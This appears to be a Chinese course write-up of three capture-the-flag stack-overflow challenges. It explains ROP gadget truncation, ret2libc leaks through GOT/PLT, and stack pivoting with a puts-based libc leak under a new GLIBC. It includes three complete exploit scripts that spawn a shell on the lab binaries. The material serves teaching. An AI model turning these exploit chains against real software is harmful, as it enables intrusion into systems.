Summary

二进制漏洞利用部分的题目难度会稍微高一些,逆向和 PWN 也一直是信安实践「压轴题」的部分。PWN 的主要学习目标是理解程序运行过程中的内存结构、了解调试器的使用等。

由于实验工作量较大,今年 PWN 题数量缩减为三道小题,且都是选做,无论是否完成了题目都不用担心这道题给最终得分带来的影响。

今年的题目聚焦在新版本 GLIBC 的 ROP 上,对于其它内容感兴趣的同学,也可以在下面链接中获取往年 WP:


Stack Overflow

题如其名,是一道栈溢出。作为实验课中的题目,希望将关注点聚焦在漏洞利用上,不想在逆向方面为难做题人,所以也给出了源码。

大题中包含三小题:

  1. ROP - baby_stk 考察基本 ROP 链的构造,要求做题人注意到 x86-64 架构可变长度指令集可以截断成为新指令的特点,截断现有的 pop r15 ; retpop rdi ; ret,并构造出利用系统调用实现远程命令执行的能力;
  2. Ret2libc - ez_stk 在上一问的基础上,要求做题人注意到 C 语言字符串 \x00 截断的特点并泄露程序在 PIE + ASLR 随机化下的基地址,同时掌握 GOT 表与 PLT 表的基本概念,借此泄漏动态链接库地址完成利用;
  3. Pivoting - simple_stk 考察栈迁移,最初计划要求使用 ret2dlresolve 解题,但是这在去年已经出过,因此难点改为在新版本 GLIBC 程序本身难以控制 RDI 情况下的地址泄漏

ROP - baby_stk

第一问作为热身题目,直接运行并构造任意输入就会发现程序在退出前报错 SIGSEGV,对应源码:

void vuln() {
  char buf[0x20];
  puts("Give me your data:");
  read(0, (char *)(buf + 0x28), 0x100);
}

即调用 read 从标准输入向内存中读取数据时的目标地址根本不在函数分配的局部变量 buf[0x20] 中,而是直接来到 &buf[28] 的位置。

缓冲区 buf 作为局部变量存放在 vuln 函数的栈里,栈底 &buf[0x20] 的位置存放父函数的 RBP 值,在 leave 指令执行时会将老的 RBP 值恢复到栈底指针寄存器 RBP 中;而 &buf[0x28] 的位置存放当前函数返回地址,在 ret 指令执行时会将这个位置的值设置到 RIP 寄存器中。

也就是说栈溢出发生时修改 &buf_end 会改变父函数的 RBP 进而影响父函数的行为,而修改 &buf_end + 8 会直接改变函数返回时的控制流,让程序跳转到被修改的值继续运行。

相比于上面文字描述,调试器中的表示更加直观,下图为 read 调用之前的程序上下文,rsp 标志栈顶,rbp 标志栈底,其中就是当前函数的局部变量区,即 buf[0x20],现在的值是一些不重要的残留数据; 注意到 rsi 指向 read 调用的第二个参数,即读入数据的内存地址,现在存放的是 main + 28,也就是 main 函数调用 vuln 的下一句指令的地址:

在传入任意输入后,程序的控制流就被改变了,例如这里传入 aaaaaaaa\n,返回地址就变成 0x6161616161616161,于是报错 SIGSEGV

控制流劫持的原理解释完毕,接下来就是 ROP 链的构造,即向什么地方劫持控制流。

这里是希望实现远程命令执行,而观察程序的 gadget 可以注意到有一次执行系统调用的能力

NOTE

之所以说只有一次执行系统调用的能力,是因为这里找到的是 syscall 而非 syscall ; ret,于是就无法连续调用多个 syscall 完成特定功能(例如 open + read + write):

所以可以控制寄存器如下完成 SYS_execve 系统调用:

  • RDI 存放 /bin/sh\x00 字符串地址作为第一个参数;
  • RSI、RDX 直接置零就行,表示第二、第三个参数 argvenvp
  • RAX 存放系统调用号,查找 Linux 源码目录 /arch/x86/entry/syscalls/syscall_64.tbl 可以获得最新的系统调用号表,SYS_execve 对应 0x3b;
  • 如何控制 rax:注意到上图只有控制 rdi(由 pop r15 拆分)、控制 rsi(由 pop r14 拆分)、控制 rdx 的 gadget,而 rax 可以由 read 的返回值来控制,即函数的返回值会存放在 rax 寄存器中,read 函数的返回值就是读入的实际长度。

最终可以完成如下利用脚本:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#   expBy : @eastXueLian
#   Debug : ./exp.py debug  ./pwn -t -b b+0xabcd
#   Remote: ./exp.py remote ./pwn ip:port
 
from lianpwn import *
from secret import send_token
 
cli_script()
 
io: tube = gift.io
elf: ELF = gift.elf
 
send_token(io)
 
syscall_addr = 0x00000000004011EB
pop_rdi_ret  = 0x00000000004011E4
pop_rsi_ret  = 0x00000000004011E7
pop_rdx_ret  = 0x00000000004011E9
binsh_addr   = 0x0000000000402004
 
ru(b"Give me your data:")
s(
    flat(
        [
            pop_rdi_ret,
            binsh_addr,
            pop_rsi_ret,
            0,
            pop_rdx_ret,
            0,
            syscall_addr,
        ]
    ).ljust(0x3B, b"a")
)
 
ia()

Ret2libc - ez_stk

第二小问主要目标是理解 got 表的机制,即程序调用外部函数实际上调用的是 func@plt,而 &func@plt 会设置好参数并在首次调用时进入 _dl_runtime_resolve_xsavec 进行符号解析,将动态链接库里的对应函数地址回填到 func@got 中:

这里就有两个对利用有用的知识点:

  1. 劫持控制流时要调用一个函数,其实就是调用 func@plt
  2. 如果能篡改 got 表,则可以让程序调用到这个函数时设置好参数跳转到被篡改的地址继续执行;

所以泄漏 libc 地址的 ROP 链构造就是 pop_rdi_ret, elf.got.puts, elf.plt.puts,效果为 puts(puts@got),就能把 libc 函数 puts 的地址打印出来了。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#   expBy : @eastXueLian
#   Debug : ./exp.py debug  ./pwn -t -b b+0xabcd
#   Remote: ./exp.py remote ./pwn ip:port
 
from lianpwn import *
from secret import send_token
 
cli_script()
set_remote_libc("./libc.so.6")
 
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
 
send_token(io)
 
ru(b"Give me your data:")
s(b"a" * 0x28 + p8(0x3C))
ru(b"a" * 0x28)
 
elf_base = u64_ex(ru(b"\n", drop=True)) - elf.sym.main
lg("elf_base", elf_base)
pop_rdi_ret = elf_base + 0x00000000000011F7
 
ru(b"Give me your data:")
s(
    flat(
        {
            0x28: [
                pop_rdi_ret,
                elf_base + elf.got.puts,
                elf_base + elf.plt.puts,
                elf_base + 0x1253,
            ]
        },
        filler=b"a",
    )
)
ru(b"\n")
ru(b"\n")
libc_base = u64_ex(ru(b"\n", drop=True)) - libc.sym.puts
lg("libc_base", libc_base)
 
ru(b"Give me your data:")
s(
    flat(
        {
            0x28: [
                pop_rdi_ret + 1,
                pop_rdi_ret,
                libc_base + next(libc.search(b"/bin/sh\x00")),
                libc_base + libc.sym.system,
            ]
        },
    )
)
 
ia()

Pivoting - simple_stk

Summary

从实验课作业的角度来说,我觉得这是一道很好的题目:

  • 题目中使用的技巧是栈迁移
  • 难点在于使用新版本 GLIBC 的程序中不存在控制 RDIRSI 等关键寄存器的 gadgets,因此做题时需要泄漏动态链接库的地址来获得更多可用 gadgets;
  • 由于相关资料较少,在网上也没有相关模板,做题者需要结合调试理解泄漏原理;
  • 借助这道题也能更好地理解函数栈帧的概念。

首先查看题目源码,和前两小问几乎没有区别,只是:

  1. gifts 中提供的 gadgets 都被去掉了;
  2. 编译选项中没有设置延迟绑定,即默认开启了 FULL RELRO 保护,在这种情况下是无法使用 ret2dlresolve 方式完成利用的。

查看本题保护如下:

其中不同保护解释如下:

  • RELRO 即 ReLocation Read-Only,有三个等级;
  • Canary 位于栈底的一个随机数,这个值初始化时存放在 TLS 结构体中,在函数退出时会进行比较,如果发现不一致即表示出现了栈溢出;
  • NX 即 No-eXecute,在 Windows 平台下又被称为数据执行保护(Data Execution Protection, 简称 DEP),将堆栈页标记为无执行权限,防止 shellcode 的注入执行;
  • PIE 即 Position-independent executables,指可执行文件可以在内存中任意位置加载运行,在系统层面开启 ASLR 后会使 ELF 基址随机化;
  • SHSTK / IBT 即 Intel CET 硬件支持的保护影子栈和间接跳转跟踪,实际上并未开启,若开启则难以进行 ROP 等控制流劫持攻击。

INFO

关于 ret2dlresolve 利用可以参考 去年的题解,通常用于以下情况:

  1. 能够劫持程序控制流:例如本例中的栈溢出;
  2. 已知 ELF 基地址:用于获取 GOT 表附近 link_map 指针的地址、伪造结构体的地址等;
  3. 没有开启 FULL RELRONO RELRO 情况下可以直接改 _DYNAMIC 区域内存,PARTIAL RELRO 需要伪造 link_map 结构体。

回到题目,在使用和上一小问同样的方法泄漏 ELF 基址并劫持控制流回到 main 函数后:

  1. 搜索程序 gadgets,发现能控制 rbp;
  2. 观察程序调用 read 获取输入的逻辑,实际上可以实现 read(0, rbp - 0x20, 0x100) 的效果:
    1209:	48 8d 45 e0          	lea    rax,[rbp-0x20]
    120d:	ba 00 01 00 00       	mov    edx,0x100
    1212:	48 89 c6             	mov    rsi,rax
    1215:	bf 00 00 00 00       	mov    edi,0x0
    121a:	e8 61 fe ff ff       	call   1080 <read@plt>
    121f:	48 8d 45 e0          	lea    rax,[rbp-0x20]
    1223:	48 89 c7             	mov    rdi,rax
    1226:	e8 45 fe ff ff       	call   1070 <puts@plt>
    122b:	90                   	nop
    122c:	c9                   	leave
    122d:	c3                   	ret

所以这结合起来是一个任意地址写(arbitrary address write, 简称 AAW)。

可是现在的关键问题是 gadgets 太少了,单纯在 ELF 范围内的 AAW 似乎用处不大:通过 /proc/self/maps 查看程序的虚拟地址空间,在 ELF 范围内寻找具有可写权限的内存页,只有 .bss 段的内存且上面只有三个 IO 结构体的指针;在保护更弱的程序中(例如第二小问)可以用修改 GOT 表等方式来 getshell。

QUESTION

不妨考虑拥有更强的攻击原语的情况:若拥有往 libc 地址空间任意地址写的能力,该怎么 getshell?

现在可以控制 rbp,而 rbp 和 rsp 共同标志当前函数的栈空间,可以思考假如栈底指针寄存器 rbp 的值反而在栈顶指针寄存器 rsp 上方(更低地址)会发生什么。

在这道题目中,rbp 用来定位局部变量 buf[0x20],rsp 则与 push / pop 等指令有关,可以控制 rbp,使其跑到 rsp 上方:

来到 puts 源码 中看一下,可以注意到输出的过程其实是先算长度,再调用 write 系统调用的封装打印字符串,最后补上一个 \n

// https://elixir.bootlin.com/glibc/glibc-2.39/source/libio/ioputs.c#L32
int
_IO_puts (const char *str)
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (stdout);
 
  if ((_IO_vtable_offset (stdout) != 0
       || _IO_fwide (stdout, -1) == -1)
      && _IO_sputn (stdout, str, len) == len
      && _IO_putc_unlocked ('\n', stdout) != EOF)
    result = MIN (INT_MAX, len + 1);
 
  _IO_release_lock (stdout);
  return result;
}
 
// https://elixir.bootlin.com/glibc/glibc-2.39/source/libio/fileops.c#L1197
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
  const char *s = (const char *) data;
  // ...
	  count = new_do_write (f, s, do_write);
  // ...
}

假如打印字符串的 buf 本身就在 puts 函数的栈顶指针 rsp 上方,就会在 puts 内部调用函数压栈时被改变,导致打印的内容发生变化,但长度是在上一步已经计算好的,就能够用这种方法泄漏栈上数据获得 libc 地址,且不被 \x00 截断:

  1. 传入 puts 的字符串参数被计算好长度(0x16)进入 xsputn
  2. 压栈时 buf 内容被改变:
  3. 调用 write 系统调用的封装,可以看到字符串参数 rsi 内容已经被改变,但长度还是之前计算好的 0x16:

最终可以构造出如下利用脚本:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#   expBy : @eastXueLian
#   Debug : ./exp.py debug  ./pwn -t -b b+0xabcd
#   Remote: ./exp.py remote ./pwn ip:port
 
from lianpwn import *
from secret import send_token
 
cli_script()
set_remote_libc("./libc.so.6")
 
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
 
send_token(io)
 
ru(b"Give me your data:\n")
s(b"a" * 0x28 + p8(elf.sym.main & 0xFF))
ru(b"a" * 0x28)
 
elf_base = u64_ex(ru(b"\n", drop=True)) - elf.sym.main
lg("elf_base", elf_base)
new_stack   = elf_base + 0x4800
pop_rbp_ret = elf_base + 0x1173
leave_ret   = elf_base + 0x122C
write_to_rbp_0x20 = elf_base + elf.sym.vuln + 27
 
ru(b"Give me your data:\n")
s(
    flat(
        {
            0x28: [
                pop_rbp_ret,
                new_stack,
                write_to_rbp_0x20,
            ],
        }
    )
)
 
debugB()
 
next_loop_rsp = new_stack + 0x20
target_write_addr = next_loop_rsp - 0x68
s(
    flat(
        {
            0x28: [
                pop_rbp_ret,
                target_write_addr + 0x20,
                write_to_rbp_0x20,
            ],
        }
    )
)
 
debugB()
s(
    flat(
        {
            0x28: [elf_base + elf.sym.vuln],
        }
    )
)
 
ru(b"\n")
ru(b"\n")
 
libc_base   = u64_ex(rn(8)) - libc.sym._IO_file_jumps
pop_rdi_ret = libc_base + 0x10F75B
lg("libc_base", libc_base)
 
ru(b"Give me your data:\n")
s(
    flat(
        {
            0x28: [
                pop_rdi_ret + 1,
                pop_rdi_ret,
                libc_base + next(libc.search(b"/bin/sh\x00")),
                libc_base + libc.sym.system,
            ],
        }
    )
)
 
ia()